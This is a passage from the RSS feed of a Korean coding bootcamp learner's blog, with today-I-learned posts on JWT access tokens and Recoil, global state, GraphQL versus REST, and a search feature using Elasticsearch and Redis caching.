<p><img src="https://velog.velcdn.com/images/code_june/post/695f9ab4-99e3-4ddb-9097-9402471f553f/image.png" alt=""></p>
<p>redis에도 접근하지 않는 더 효율적인 방법이 있을까? 똑똑한 개발자들이 그런 방법을 찾아냈다! </p>
<p>바로, 세션 아이디를 redis에 만드는 것이 아니라, 데이터베이스에서 백엔드로 가져온 후 객체를 문자열로 만들어 암호화시켜서 암호화된 키(<code>accessToken</code>)를 브라우저에 돌려주는 방법이다. </p>
<p><code>액세스토큰</code>은 브라우저의 state 등에 저장해 두었다가 브라우저에서 백엔드로 api 요청할 때 다시 액세스토큰을 보내서, 백엔드에서 <strong>복호화</strong>(암호 해독)해서 사용자를 식별한 후 데이터베이스에 접근하게 된다.</p>
<p>이러한 방식을 <code>JWT(Json Web Token) 방식</code>이라고 한다. JWT 토큰은 해당 토큰이 발급 받아온 서버에서 정상적으로 발급을 받았다는 증명을 하는 <strong>signature</strong>를 가지고 있어서 사용자의 정보를 데이터베이스를 열어보지 않고도 식별할 수 있다.</p>
<h5 id="주의-jwt-토큰은-액세스토큰과-같은-개념이-아니다">주의! JWT 토큰은 액세스토큰과 같은 개념이 아니다.</h5>
<br/>

<h4 id="jwt-토큰">JWT 토큰</h4>
<p>JWT 방식에서 액세스토큰을 저장하는 장소는 변수, 세션 스토리지, 로컬 스토리지, 쿠키 등이 있다. </p>
<blockquote>
<ul>
<li><strong>변수</strong>: 새로고침 시 삭제(초기화)</li>
</ul>
</blockquote>
<ul>
<li><span style="color: red"><strong>Session Storage</strong></span>: 브라우저를 껐다 키면 초기화 </li>
<li><span style="color: red"><strong>Local Storage</strong></span>: 브라우저 껐다 켜도 남아있음 </li>
<li><span style="color: red"><strong>쿠키</strong></span>: 브라우저 껐다 켜도 남아있음. <strong>만료시간</strong> 부여 가능(만료시간 넘으면 자동 삭제). <strong>보안기능</strong>(httpOnly, Secure 등) 강화 가능, <strong>서버와 연동</strong>이 가능(자동으로 서버와 브라우저를 왔다갔다 할 수 있음) </li>
</ul>
<br/>

<p>또한, JWT 토큰은 안에 내용이 다 보이는 토큰이다. 따라서 중요한 내용은 JWT 토큰 안에 저장하지 않아야 한다! JWT 토큰은 내용을 감춘다기보다는, 내용 <strong>조작을 금지</strong>한다. </p>
<p>그러면 사용하면 안되는 것 아닌가? 보안을 위해서 <strong>토큰 만료시간</strong>을 짧게 주었다. 그리고 조작을 미연에 방지하기 위해 <strong>signature</strong>(토큰의 비밀번호)를 사용한다. 내용 조작을 위해서는 이 비밀번호를 알아야 한다. 해당 비밀번호는 백엔드에서 생성하며, 알 수 없다.</p>
<br/>

<h2 id="복호화가-불가능한-암호화회원가입">복호화가 불가능한 암호화(회원가입)</h2>
<br/>


<h3 id="단방향-암호화해싱와-양방향-암호화">단방향 암호화(해싱)와 양방향 암호화</h3>
<p><img src="https://velog.velcdn.com/images/code_june/post/5e068bbc-9373-4109-affb-823cfb571675/image.png" alt=""></p>
<p>로그인을 하고, 로그인 정보를 fetch 해왔을 때 브라우저에 비밀번호를 fetch할 수 없어야 한다. 데이터베이스에 있는 비밀번호를 알아낼 수 없게 해놓았기 때문이다. 이러한 <strong>민감 정보</strong>들은 백엔드에 저장할 때 그대로 저장해서는 안된다. 해킹의 위험성이 있다.</p>
<br/>

<h4 id="양방향-암호화">양방향 암호화</h4>
<p>JWT 방식처럼 복호화가 되는 암호화. 암호화와 복호화 모두 가능</p>
<br/>

<h4 id="단방향-암호화hash">단방향 암호화(hash)</h4>
<p>암호화는 되지만 복호화는 안된다. <code>다대일</code> 방식을 사용해서 원래 정보를 알아내기 어렵도록 해놓는다. 하지만 그럼에도 무차별공격으로 해킹 위험이 있을 수 있어서 최근에는 <strong>Bcrypt Hash</strong>라는 라이브러리 사용해서 데이터를 암호화한다.</p>
<br/>

<h2 id="토큰-보내기">토큰 보내기</h2>
<p><img src="https://velog.velcdn.com/images/code_june/post/8e236251-9ae0-4e0b-8057-cea0fe1c9666/image.png" alt=""></p>
<p><strong>HTTP HEADERS</strong>에 &quot;Authorization&quot;을 보내주면 된다. <strong>Bearer</strong>는 관례상 사용할 뿐 필수로 적어줘야 하는 것은 아니다. 이 부분은 백엔드와 상의해서 사용하면 된다.</p>
<br/>

<h2 id="jwt-토큰과-조작-가능성">JWT 토큰과 조작 가능성</h2>
<p>이제 회원가입을 먼저 한 후에 그 정보를 가지고 실제 로그인을 해보았다. 로그인을 하면 <code>accessToken</code>을 받아오는데, 받아온 accessToken에는 유저가 로그인을 한 기록이 저장되어 있다. </p>
<p>따라서 유저정보를 확인해야 하는 API를 사용할 때, <code>accessToken</code>을 첨부해서 보내면 백엔드에서 유저정보를 확인한 후에 해당 API를 사용할 수 있도록 해준다.</p>
<br/>

<h3 id="jwt-토큰의-조작-가능성">JWT 토큰의 조작 가능성</h3>
<br/>

<h4 id="jwt-토큰은-누구든지-복호화가-가능하다">JWT 토큰은 누구든지 복호화가 가능하다!?</h4>
<p><a href="https://jwt.io/">jwt.io</a> 에 접속해서 <strong>Encoded</strong>(암호화) 부분에 위에서 받아온 accessToken을 넣으면 <strong>Decoded</strong>(복호화) 부분에 토큰에 대한 정보가 모두 보인다. </p>
<p>만약 누군가 토큰을 알아내서 해당 사이트에 넣어본다면 토큰의 정보를 쉽게 알아낼 수 있다는 것이다! 따라서 중요한 데이터는 JWT 토큰에 저장하면 안된다.</p>
<br/>

<h4 id="토큰-만료시간을-짧게-줬다">토큰 만료시간을 짧게 줬다.</h4>
<p>그렇다면 JWT 토큰은 보안이 전혀 안되는 것 아닌가..? 그렇지는 않다. JWT 토큰은 토큰의 <strong>만료시간</strong>을 짧게 준다. </p>
<p>하지만 Decoded 정보에 토큰의 만료시간이 명시되어 있어서 이것 또한 조작이 가능하다. </p>
<br/>

<h4 id="jwt-signature">JWT signature</h4>
<p>토큰 만료시간까지 조작이 가능하면 어떡하나 싶은데, 이런 조작을 방지하기 위해서 JWT는 <code>signature(토큰의 비밀번호)</code>를 사용한다. </p>
<p>토큰의 내용을 조작하기 위해서는 토큰의 비밀번호를 알아야 한다는 것이다. 비밀번호는 백엔드에서 생성하고, 우리는 알 수 없다.</p>
<p><br/><br/></p>
<h2 id="로그인과-recoil-연결">로그인과 Recoil 연결</h2>
<br/>

<ol>
<li><strong>로그인 페이지</strong> 만들기</li>
</ol>
<pre><code class="language-javascript">// login page
import {useMutation,gql} from &quot;@apollo/client&quot;
import {ChangeEvent} from &quot;react&quot;

cosnt LOGIN_USER = gql`
    mutation loginUser($email:String){
        loginUser(email: $email, password: $password){
            accessToken
        }
    }
`

export default function LoginPage(){
    const [email,setEmail]=useState(&quot;&quot;)
    const [password,setPassword]=useState(&quot;&quot;)
    const [loginUser] = useMutation&lt;Pick&lt;IMutation,&#39;loginUser&#39;&gt;,IMutationLoginUserArgs&gt;(LOGIN_USER)
// loginUser 타입 추론 불가능 -&gt; 앞에는 받아올 타입을, 뒤에는 보내줄 타입 작성

    const onChangeEmail = (event:ChangeEvent&lt;HTMLInputElement&gt;)=&gt;{
        setEmail(event.target.value)
        }
    const onChangePassword = (event:ChangeEvent&lt;HTMLInputElement&gt;)=&gt;{
    setPassword(event.target.value)
        }

    const onClickLogin = async()=&gt;{
    try{
        cosnt result = await loginUser({
            variables:{
                    email : email,
                    password : password
                }
            })
        const accessToken = result.data?.loginUser.accessToken
        }catch(error){
            Modal.error({content : error.message})
        }
    } 

    return(
        &lt;div&gt;
            이메일 : &lt;input type=&quot;text&quot; onchange={onChangeEmail}/&gt; &lt;br/&gt;
            비밀번호 : &lt;input type=&quot;password&quot; onchange={onChangePassword}/&gt; 
            &lt;button onClick={onClickLogin}&gt;로그인하기!!&lt;/button&gt;
        &lt;/div&gt;
    )
}</code></pre>
<br/>

<ol start="2">
<li><code>accessToken</code>을 <strong>global state(Recoil)</strong>에 저장하기</li>
</ol>
<p>유저의 정보를 가지고 오는 api를 사용하기 위해 http header 부분에 accessToken 첨부해서 요청해야 한다.</p>
<p>다음과 같이 코드를 추가 및 수정해주면 된다.</p>
<pre><code class="language-javascript">import { useRecoilState } from &quot;recoil&quot;;

export default function LoginPage(){
    const [accessToken, setAccessToken] = useRecoilState(accessTokenState)

    const onClickLogin = async() =&gt; {
    try{
      const result = await loginUser({
      variables: {
      email: email,
       password: password
      }
      })
      const accessToken = result.data?.loginUser.accessToken
      setAccessToken(accessToken)
      router.push(`/loginsuccess`)
    } catch(error) {
    Modal.error({content: error.message})
    }
    }
}</code></pre>
<br/>

<ol start="3">
<li><strong>로그인 성공 페이지</strong> 만들기</li>
</ol>
<pre><code class="language-javascript">// loginsuccess page
const FETCH_USER_LOGGED_IN = gql`
query fetchUserLoggedIn{
    fetchUserLoggedIn{
        email
        name
        }
    }
`
export default function LoginSuccessPage(){
    const {data} = useQuery&lt;Pick&lt;IQuery,&quot;fetchUserLoggedIn&quot;&gt;&gt;(FETCH_USER_LOGGED_IN)

    return(
        &lt;div&gt;
            {data?.fetchUserLoggedIn.name}님 환영합니다.
        &lt;/div&gt;
    )
}</code></pre>
<br/>

<ol start="4">
<li>global state에 저장된 <strong>accessToken</strong>을 <code>header</code>와 연동하기</li>
</ol>
<pre><code class="language-javascript">//app.tsx파일
function MyApp({ component,pageProps }:AppProps){
const [accessToken,setAccessToken] = useState(&quot;&quot;)
const uploadLink = createUploadLink({
        uri : &quot;백엔드 주소&quot;,
        headers : { Authorization : `Bearer ${accessToken}` }
    })

    return (
            &lt;ApolloProvider client={client}&gt;
                &lt;Component {..pageProps}/&gt;
            &lt;/ApolloProvider&gt;
    )
}</code></pre>
<p>uploadLink에 토큰을 추가함으로써 모든 컴포넌트에서 로그인 관련 토큰을 추가해서 보내주도록 만들었다. </p>
<p>로그인을 한 사람만 토큰을 가지고 있게 된다. 위에 토큰 자리에 토큰을 채우기 위해서는 어떻게 해야 할까? </p>
<p>Recoil에 accessToken을 저장해두고 사용하고 싶은 컴포넌트 전체를 감싸주고 필요한 곳에서 꺼내서 사용하는 것이다!</p>
<pre><code class="language-javascript">//app.tsx파일
import { RecoilRoot } from &quot;recoil&quot;;

function MyApp({ component,pageProps }:AppProps){

    return (
        &lt;RecoilRoot&gt;
        &lt;ApolloSetting&gt;
          &lt;Global styles={globalStyles} /&gt;
          &lt;Layout&gt;
            &lt;Component {...pageProps} /&gt;
          &lt;/Layout&gt;
        &lt;/ApolloSetting&gt;
      &lt;/RecoilRoot&gt;
    )
}</code></pre>
<p>기존에 app.tsx에서 apollo setting 해줬던 부분은 따로 파일을 만들어서 분리했다.</p>
<pre><code class="language-javascript">// Apollo Setting 빼주기
import { useRecoilState } from &quot;recoil&quot;;
import { accessTokenState } from &quot;../../../commons/store&quot;;

export default function ApolloSetting(props) {
    const [accessToken,setAccessToken] =useRecoilState(accessTokenState)

    const uploadLink = createUploadLink({
            uri : &quot;백엔드 주소&quot;,
            headers : { Authorization : &quot;Bearer 받아온 토큰&quot; }
        })

    return (
        &lt;ApolloProvider client={client}&gt;
            {props.children}
        &lt;/ApolloProvider&gt;
    )
}
</code></pre>
<br/>

<hr>
]]></description>
        </item>
        <item>
            <title><![CDATA[✍🏻 [Code Camp_TIL] 22일차: global state, Recoil]]></title>
            <link>https://velog.io/@code_june/Code-CampTIL-22%EC%9D%BC%EC%B0%A8-global-state</link>
            <guid>https://velog.io/@code_june/Code-CampTIL-22%EC%9D%BC%EC%B0%A8-global-state</guid>
            <pubDate>Sat, 22 Apr 2023 15:13:48 GMT</pubDate>
            <description><![CDATA[<h2 id="global-state">global state</h2>
<p>하나의 state가 여러 페이지에서 필요할 때, <code>global state</code>에 데이터를 저장하고, 필요할 때마다 가져와서 사용할 수 있다. </p>
<p><img src="https://velog.velcdn.com/images/code_june/post/bf0afede-ca41-4ca4-9ce0-0b915996e140/image.png" alt=""></p>
<p>즉 <code>global state</code>는 여러 컴포넌트에서 사용되는 state이다. 그림에서 알 수 있듯이 <strong>store</strong>에 name이라는 state를 저장하고 필요한 컴포넌트에서 import해서 사용하기 때문에 번거롭게 props drilling을 하지 않아도 된다.</p>
<p>global state의 툴로는 context-Api, Redux, Recoil 등이 있다. </p>
<blockquote>
<p><span style="color: red"><strong>global state tool</strong></span>: <strong>Redux</strong> -&gt; <strong>MobX</strong> -&gt; <strong>SWR</strong> -&gt; (Rest api)<strong>react-query</strong> / (graphql api)*<em>apollo-client + Recoil *</em></p>
</blockquote>
<br/>


<h3 id="fetch-policy">fetch policy</h3>
<p>apollo-client로 global state를 만들면 <code>Apollo-Cache</code>에 저장된다. 따라서 같은 데이터를 요청할 경우, Apollo-Cache에 가서 데이터가 있는지 확인하고 없으면 백엔드에 요청을 보내고, 데이터가 있으면 백엔드에 요청하지 않고 Apollo-Cache에서 컴포넌트로 바로 보내준다.</p>
<p>이것을 Apollo-client의 <code>fetchPolicy</code>(fetch 정책)이라고 한다.</p>
<p><strong>fetch policy</strong>에는 여러 기능이 있으며, 상황에 맞게 변경할 수 있다.</p>
<blockquote>
<p><strong>cache-first</strong>(default): 캐시에 있는지 먼저 확인
<strong>network-only</strong>: 캐시에 있는지에 상관없이 무조건 백엔드에 요청</p>
</blockquote>
<br/>

<h3 id="recoil">Recoil</h3>
<p>최근에 나온 툴은 <strong>자동화</strong>가 많이 되어있다! 요즘은 서버데이터 캐싱으로는 <strong>react-query</strong>와 <strong>apollo-client</strong>를 많이 사용하고, 로컬데이터 캐싱 용도로는 <code>Recoil</code>을 사용하는 편이다. </p>
<p><code>Recoil</code>은 미니 Redux라고 볼 수 있다. </p>
<p><strong>Redux</strong>도 이에 질세라 최근에는 Redux-toolkit과, Redux-ToolKit-Query(RTK Query)를 내놓으면서 사용의 편리성을 높였다.</p>
<p>아무튼, 이번 시간에는 <code>Recoil</code>을 사용했다. 프론트에서 관리하는 데이터라고 해봤자 많은 부분을 차지하지 않을 텐데 Redux를 사용하기에는 너무 헤비하기 때문이다.</p>
<br/>

<h4 id="recoil-설치">Recoil 설치</h4>
<blockquote>
<p>npm install recoil
yarn add recoil</p>
</blockquote>
<br/>

<h4 id="recoil-setting">Recoil setting</h4>
<pre><code class="language-javascript">//app.tsx 파일 
import {
  RecoilRoot,
  atom,
  selector,
  useRecoilState,
  useRecoilValue,
} from &#39;recoil&#39;;

function App() {
  return (
    &lt;RecoilRoot&gt;
        //RecoilRoot로 모든 컴포넌트 묶어주기
      &lt;Component /&gt;
    &lt;/RecoilRoot&gt;
  );
}</code></pre>
<br/>

<h4 id="recoil-사용">Recoil 사용</h4>
<p>Recoil에서는 <code>Atom</code>으로 state의 일부를 보여준다. </p>
<p>그리고 컴포넌트들은 자신이 필요한 Atom을 참조한다. 그래서 자신이 참조하고 있는 <code>Atom</code>에 변화가 있으면 해당 atom을 참조하는 모든 컴포넌트에서 <strong>리렌더링</strong>이 일어난다. </p>
<pre><code class="language-javascript">// Atom
const textState = atom({
  key: &#39;textState&#39;, // state의 이름
  default: &#39;&#39;, //초기값
});</code></pre>
<br/>

<p>Atom을 실제로 사용하기 위해선 <code>useRecoilState</code>가 필요하다. </p>
<pre><code class="language-javascript">// TextInput 컴포넌트 
function TextInput() {
  const [text, setText] = useRecoilState(textState);

  const onChange = (event) =&gt; {
    setText(event.target.value);
  };

  return (
    &lt;div&gt;
      &lt;input type=&quot;text&quot; value={text} onChange={onChange} /&gt;
      &lt;br /&gt;
      Echo: {text}
    &lt;/div&gt;
  );
}</code></pre>
<p>위와 같이 적어주면, <code>textState</code>를 참조하고 있는 모든 컴포넌트에서 <strong>리렌더</strong>가 일어난다.</p>
<br/>

<hr>
]]></description>
        </item>
        <item>
            <title><![CDATA[✍🏻 [Code Camp_TIL] 22일차: 컴포넌트와 props, el, prev, graphql의 실체]]></title>
            <link>https://velog.io/@code_june/Code-CampTIL-22%EC%9D%BC%EC%B0%A8-%EC%BB%B4%ED%8F%AC%EB%84%8C%ED%8A%B8%EC%99%80-props-el-prev-graphql%EC%9D%98-%EC%8B%A4%EC%B2%B4</link>
            <guid>https://velog.io/@code_june/Code-CampTIL-22%EC%9D%BC%EC%B0%A8-%EC%BB%B4%ED%8F%AC%EB%84%8C%ED%8A%B8%EC%99%80-props-el-prev-graphql%EC%9D%98-%EC%8B%A4%EC%B2%B4</guid>
            <pubDate>Sat, 22 Apr 2023 15:04:57 GMT</pubDate>
            <description><![CDATA[<p>오늘은 무작정 암기해서 사용했던 <code>props</code>, <code>el</code>, <code>prev</code>의 개념을 좀 더 정확하게 잡았다. </p>
<h2 id="props의-실체">props의 실체</h2>
<br/>

<h3 id="함수의-선언과-함수의-실행">함수의 선언과 함수의 실행</h3>
<p><code>인자</code>가 함수로 들어가게 되고 함수의 <code>매개변수</code>는 인자를 받아온다. </p>
<p><img src="https://velog.velcdn.com/images/code_june/post/8ebb1725-fa41-4e98-8ce9-d828756b306c/image.png" alt=""></p>
<p>함수의 <strong>매개변수</strong>(parameter)의 이름은 마음대로 지어도 된다. 하지만 협업을 할 때에는 관례를 따르는 것이 좋다.</p>
<p>아래 그림에서도 매개변수의 이름이 꼭 props가 아니여도 된다.</p>
<p><img src="https://velog.velcdn.com/images/code_june/post/f539b13f-b098-432a-8686-c731a3f632a1/image.png" alt=""></p>
<br/>

<p>또한, <strong>함수형 컴포넌트</strong>는 함수이다. </p>
<pre><code class="language-javascript">import Presenter from &quot;&quot;;

export default function Container() {
  return (
    &lt;&gt;
      &lt;Presenter count={123} /&gt;
    &lt;/&gt;
  );
}</code></pre>
<p>함수형 컴포넌트는 함수이기 때문에 presenter 부분을 다음과 같이 바꿔줄 수 있다. </p>
<pre><code class="language-javascript">import Presenter from &quot;&quot;;

export default function Container() {
  return (
    &lt;&gt;
    {Presenter({count: 123})}
    &lt;/&gt;
  );
}</code></pre>
<br/>

<h2 id="el의-실체">el의 실체</h2>
<br/>

<pre><code class="language-javascript">[&quot;철수&quot;,&quot;영희&quot;,&quot;훈이&quot;].map((el,index)=&gt;(console.log(`${el}는 ${index}번째 입니다.`)))</code></pre>
<p>위의 코드를 보면, 위의 map을 (&quot;철수&quot;,0)(&quot;영희&quot;,1)(&quot;훈이&quot;,2) 와 같이 실행시켜준다. 여러 개의 인자를 순서대로 넘겨주는데, 인자의 순서는 배열의 value 값 -&gt; 해당 value의 index 값 순서로 들어가게 된다. </p>
<br/>

<p>그렇다면, 아래에서 <strong>index</strong>는 무엇을 의미할까?</p>
<pre><code class="language-javascript">[&quot;철수&quot;, &quot;영희&quot;, &quot;훈이&quot;].map((index) =&gt; (
  console.log(`${index}는 무엇일까요?`)
))</code></pre>
<p>이름은 index지만, 배열의 각 원소인 &quot;철수&quot;, &quot;영희&quot;, &quot;훈이&quot;를 의미한다. 즉 map도 <strong>함수</strong>이고, el과 index는 함수의 <strong>매개변수</strong>(파라미터)이다!</p>
<br/>

<h2 id="prev의-실체">prev의 실체</h2>
<br/>

<p>state의 <code>prev</code> 또한 함수의 <strong>매개변수</strong>이다. </p>
<br/>

<pre><code class="language-javascript">setCount(prev =&gt; prev + 1)</code></pre>
<br/>

<p>지금까지는 위의코드처럼 써왔지만, 아래처럼 쓸 수도 있다!</p>
<br/>

<pre><code class="language-javascript">setCount((prev) =&gt; {return prev + 1})</code></pre>
<p>setCount 함수의 인자로 화살표 함수가 들어가고, 화살표 함수 안의 prev는 함수의 매개변수가 된다. </p>
<br/>

<h2 id="graphql의-실체">graphql의 실체</h2>
<p>props, el, prev에 이어서 <code>graphql</code>에 대해 좀 더 자세히 알아보았다. </p>
<br/>

<h3 id="graphql-variables">graphql-variables</h3>
<p><img src="https://velog.velcdn.com/images/code_june/post/772aa872-f5a2-4ca3-9ba8-c8eeb9dfef49/image.png" alt=""></p>
<p>위 그림에서 <code>$</code>가 붙은 것들은 <strong>변수</strong>다. 따라서 $writer는 $aaa 여도 상관없다. </p>
<br/>

<p>또한, query를 보낼 때 createBoard를 두 번 적는 이유는, gql이 여러 개의 api를 묶어서 요청할 수 있기 때문이다. 형식은 다음과 같다.</p>
<pre><code class="language-javascript">const REQUEST = gql`
mutation 한번에요청할그룹이름 ($변수 : 변수타입){
    원하는API1(백엔드지정:$변수){
        //받아올 것
    }

    원하는API2(백엔드지정:$변수){
        //받아올 것
    }
}
`</code></pre>
<br/>

<h3 id="graphql과-rest-api의-관계">graphql과 rest-api의 관계</h3>
<p><code>graphql</code>도 사실 <strong>rest api</strong>였다. rest api의 언더페칭, 오버페칭 문제를 해결하고, *엔드포인트를 통합(엔드포인트 1개인 post 방식)해서 graphql-api가 등장하게 되었다. </p>
<h5 id="endpoint란-api가-서버에서-리소스에-접근할-수-있도록-가능하게-하는-url">*endpoint란? api가 서버에서 리소스에 접근할 수 있도록 가능하게 하는 URL</h5>
<br/>

<h4 id="언더페칭">언더페칭</h4>
<p>기존의 rest api에서는 하나의 페이지에서 여러 api를 요청해야 할 때, 백엔드로 여러 번 api 요청을 보냈어야 했다. 이러한 문제를 rest api의 <code>언더페칭</code> 문제점이라고 한다.</p>
<p>따라서 규모가 큰 서비스에서는 한 번에 여러 api 요청이 가능한 graphql을 사용하는 편이다.</p>
<br/>

<h4 id="오버페칭">오버페칭</h4>
<p>또한 rest api는 필요 없는 결과값까지 백엔드에서 받아오는 <code>오버페칭</code> 문제점이 있다.</p>
<p>gql은 반면 원하는 것만 골라서 api 요청을 할 수 있다!</p>
<br/>

<h4 id="endpoint">endpoint</h4>
<p>rest-api의 또 하나의 문제점은 너무 많은 <code>endpoint</code>가 만들어진다는 점이다.</p>
<p>rest api의 방식은 다음과 같았다.</p>
<blockquote>
<p><strong>게시글 조회</strong>: axios.get(API 주소)
<strong>게시글 등록</strong>: axios.post(API 주소, {데이터})</p>
</blockquote>
<p>rest-api에서는 post, get, put, delete, update 방식만 해도 벌써 endpoint가 5개가 생기기 때문에 이외의 endpoint를 추가하면 많은 양의 endpoint가 생기게 된다. </p>
<br/>

<p>그래서 위와 같은 문제점을 개선하기 위해 나온 것이 <strong>graphql</strong>이다. graphql은 rest-api의 <code>post</code> 방식에서 data를 넣을 수 있음을 이용해 만들어낸 방식이다. 다시 말해, 완전히 새로운 방식이 아니라 rest-api의 <strong>응용</strong>이라고 볼 수 있다. </p>
<p><img src="https://velog.velcdn.com/images/code_june/post/ff8a81b0-a7ae-49cb-b452-0a64ee38061a/image.png" alt=""></p>
<p>graphql은 post 방식의 body에 내가 실행시킬 함수의 이름을 적어서 endpoint를 요청한다. </p>
<br/>

<h3 id="graph-ql이-무조건-장점만-있을까">graph ql이 무조건 장점만 있을까?</h3>
<p>graphql이 무조건 좋은 점만 있는걸까? 그렇지는 않다. graphql을 써서 비용이 효율적으로 감소하는 큰 규모의 서비스에서는 주로 graphql을 사용하지만, 아직까진 rest api를 쓰는 회사가 더 많다. 그리고 오픈 api는 대부분 rest-api이다. </p>
<p>또한 graphql은 <strong>캐시(임시저장)</strong>이 어렵다. </p>
<h4 id="캐시임시저장">캐시(임시저장)</h4>
<p>브라우저에서 동일한 api를 요청했을 때, 매번 데이터베이스에 요청하고 받아오지 않고 백엔드에 <strong>전역객체</strong>로 저장해놓고 보내준다. graphql은 어떤 api를 요청해도 주소가 <strong>&quot;/graphql&quot;</strong> 한 개이기 때문에 백엔드에 임시저장해놓고 필요할 때마다 보내주기 쉽지 않다. 캐시가 안되는 것은 아니지만, 복잡해진다는 단점이 있다!</p>
<br/>



<br/>

<hr>
]]></description>
        </item>
        <item>
            <title><![CDATA[✍🏻 [Code Camp_TIL] 21일차: 검색 프로세스(Elasticsearch, Redis 등), 디바운싱 & 쓰로틀링, lodash]]></title>
            <link>https://velog.io/@code_june/Code-CampTIL-21%EC%9D%BC%EC%B0%A8-%EA%B2%80%EC%83%89-%EA%B8%B0%EB%8A%A5-%EB%94%94%EB%B0%94%EC%9A%B4%EC%8B%B1-%EC%93%B0%EB%A1%9C%ED%8B%80%EB%A7%81</link>
            <guid>https://velog.io/@code_june/Code-CampTIL-21%EC%9D%BC%EC%B0%A8-%EA%B2%80%EC%83%89-%EA%B8%B0%EB%8A%A5-%EB%94%94%EB%B0%94%EC%9A%B4%EC%8B%B1-%EC%93%B0%EB%A1%9C%ED%8B%80%EB%A7%81</guid>
            <pubDate>Sat, 22 Apr 2023 12:52:05 GMT</pubDate>
            <description><![CDATA[<h2 id="검색">검색</h2>
<h3 id="검색과-데이터베이스-이해">검색과 데이터베이스 이해</h3>
<br/>

<p>우리가 평소에 웹에서 <code>검색</code>을 할 때, 컴퓨터 내부에서는 어떤 프로세스로 움직일까?</p>
<br/>

<p><img src="https://velog.velcdn.com/images/code_june/post/8af525fb-5613-4c3e-9162-c29aa5313fb9/image.png" alt=""></p>
<p>기본적으로 브라우저에서 <code>검색</code>을 하면, <strong>백엔드</strong>에서는 데이터베이스 안의 데이터들을 스캔한다. 이런 방식은 데이터가 많으면 많을수록 처리 속도가 느려지게 된다. </p>
<h4 id="역인덱스-방식">역인덱스 방식</h4>
<p>이를 보완하고자 나온 것이 <code>역인덱스 방식(역색인 방식= inverted index)</code>이다. </p>
<p>데이터베이스에서 데이터들을 띄어쓰기를 기준으로 자른 다음에(<strong>토큰화</strong> = 토크나이징) 검색 전용 테이블을 만들어서 자른 토큰들을 분류하고, 검색한 키워드가 들어간 데이터들만 모아서 돌려주는 방식을 말한다. </p>
<br/>

<h4 id="elasticsearch">Elasticsearch</h4>
<p>하지만 위의 방식은 검색을 할 때마다 이루어져야 하기 때문에 꽤 번거롭다는 단점이 있었다. 따라서 이 과정을 쉽게 수행하기 위해 <code>엘라스틱 서치(Elasticsearch)</code>라는 도구를 사용하기 시작했다. </p>
<p>엘라스틱 서치는 데이터를 <strong>Disk</strong>에 저장한다. Disk에 저장하면 영구저장은 가능하지만 Disk IO(Input/Output)가 느리다는 단점이 있다.</p>
<br/>

<h4 id="redis">Redis</h4>
<p>반면, <code>Redis</code>에 저장하는 방법도 있다. Redis를 활용하는 방법은 캐시-어사이드 패턴 중 하나이다. Redis는 <strong>RAM</strong> 저장 방식을 사용한다. <strong>임시 저장</strong> 방식이기 때문에 Disk 저장보다 안정성은 떨어지지만 속도가 빠르다는 장점이 있다. </p>
<p>서비스가 나오고 시간이 흐르면, 검색에 어느정도 일정한 <strong>패턴</strong>이 생기게 된다. 사람들이 자주 검색하는 것들은 검색마다 Disk에서 꺼내오는 것보다는 Redis와 같은 메모리에 저장하면 더 빠르게 검색결과를 제공할 수 있다!</p>
<p>좀더 구체적으로 설명을 하자면, 검색을 했을 때 Redis에 기존에 검색했던 것이 있는지 찾아보고 없으면 엘라스틱 서치와 같은 기능을 통해 만들어놓은 데이터를 가져와서 쓰고, Redis에 임시저장(<code>캐싱</code>)한다. 즉, <code>캐싱</code>되어 있는 것은 Redis, 캐싱되어 있지 않은 것은 Elastic Search 방식이 사용되는 것이다.</p>
<p>여기서 임시저장하는 시간을 <code>TTL</code>이라고 한다. 임시저장 시간은 상황에 따라 다르다. 짧은 기간 안에 많이 검색되는 것은 TTL이 짧은 편이다.</p>
<br/>

<h3 id="검색-기능-구현하기">검색 기능 구현하기</h3>
<p>예전에 만들었던 게시판 목록 페이지에 검색 기능을 추가했다. </p>
<br/>

<ol>
<li>fetchBoards api의 입력값으로 <code>search</code>를 넣어준다.</li>
</ol>
<pre><code class="language-typescript">const FETCH_BOARDS = gql`
  query fetchBoards($page: Int, $search: String) {
    fetchBoards(page: $page, search: $search) {
      _id
      writer
      title
      contents
    }
  }
`;</code></pre>
<br/>

<ol start="2">
<li>검색창(input)과 검색 버튼을 만들고, 검색창에는 <strong>onChange</strong> 속성을, 검색버튼에는 <strong>onClick</strong> 속성을 부여한다. </li>
</ol>
<pre><code class="language-javascript"> return (
    &lt;div&gt;
      검색어입력: &lt;input type=&quot;text&quot; onChange={onChangeSearch} /&gt;
      &lt;button onClick={onClickSearch}&gt;검색하기&lt;/button&gt;
      {data?.fetchBoards.map((el) =&gt; (
        &lt;div key={el._id}&gt;
          &lt;span style={{ margin: &quot;10px&quot; }}&gt;{el.title}&lt;/span&gt;
          &lt;span style={{ margin: &quot;10px&quot; }}&gt;{el.writer}&lt;/span&gt;
        &lt;/div&gt;
      ))}
      {new Array(10).fill(&quot;철수&quot;).map((_, index) =&gt; (
        &lt;span key={index + 1} id={String(index + 1)} onClick={onClickPage}&gt;
          {index + 1}
        &lt;/span&gt;
      ))}
    &lt;/div&gt;
  );
}</code></pre>
<br/>

<ol start="3">
<li><code>search</code>라는 state를 만들어주고, onChangeSearch 함수에는 검색했을 때, 입력한 값을 <strong>setState</strong>로 설정한다. onClickSearch 함수에는 검색 후 키워드가 일치하는 게시글들이 브라우저에 나오도록 <strong>refetch</strong>한다.</li>
</ol>
<pre><code class="language-javascript">export default function StaticRoutingPage(): JSX.Element {
  const [search, setSearch] = useState(&quot;&quot;);

  const { data, refetch } = useQuery(FETCH_BOARDS);

  const onClickPage = (event: MouseEvent&lt;HTMLSpanElement&gt;): void =&gt; {
    void refetch({
      page: Number(event.currentTarget.id),
    });
  };

  const onChangeSearch = (event: ChangeEvent&lt;HTMLInputElement&gt;): void =&gt; {
    setSearch(event.currentTarget.value);
  };

  const onClickSearch = (): void =&gt; {
    void refetch({ search: search, page: 1 });
    // 검색 키워드가 들어간 게시글을 10개(1페이지) 가져오도록 함.
  };</code></pre>
<br/>

<h3 id="검색-버튼-없이-검색하기">검색 버튼 없이 검색하기</h3>
<br/>

<p>검색 기능을 추가해보니, 검색어를 입력할때마다 <strong>onchange</strong>, <strong>refetch</strong>가 이루어진다는 문제점이 있다. 예를 들어 &quot;안녕&quot;이라는 검색어를 입력한다면, &#39;ㅇ&#39;, &#39;ㅏ&#39;를 입력할때마다 api 요청을 보내서 만약 다수의 사람이 검색을 해서 접속량이 늘어난다면 문제가 발생할 수 있다. </p>
